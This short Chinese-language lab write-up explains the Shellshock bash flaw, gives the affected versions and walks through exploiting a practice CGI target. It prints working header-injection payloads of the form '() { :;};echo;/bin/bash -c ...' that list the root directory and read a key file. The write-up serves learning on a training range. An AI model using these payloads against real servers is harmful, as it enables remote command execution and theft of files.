01 背景介绍
Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令,在一些cgi脚本中,数据是通过环境变量来传递的,这样就会形成该漏洞;
bash通过以函数名作为环境变量名,以“(){”(bash只有在遇到特殊的环境变量才会触发该漏洞)开头的字串作为环境变量的值来将函数定义导出为环境变量。而该漏洞就在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。
02 影响版本
所有安装GNU bash 版本小于或者等于4.3的Linux操作系统
03 利用方式
poc.cgi读取了用户提交的报文头,而header会被linux解析为环境变量。
所以攻击者可以通过在任意header中以() { :;};echo;/bin/bash -c 'xxx'
的方式将恶意代码注入到服务端系统中。例如xxx=echo hello
poc:() { :;};echo;/bin/bash -c 'echo hello'
04 靶场
1.根据靶场提示寻找poc.cgi文件,网上搜索默认目录为cgi-bin/poc.cgi.
2.修改请求头 ,用构造好的poc 远程命令执行
() { :;};echo;/bin/bash -c 'ls /'
查看key.txt
() { :;};echo;/bin/bash -c 'cat /key.txt'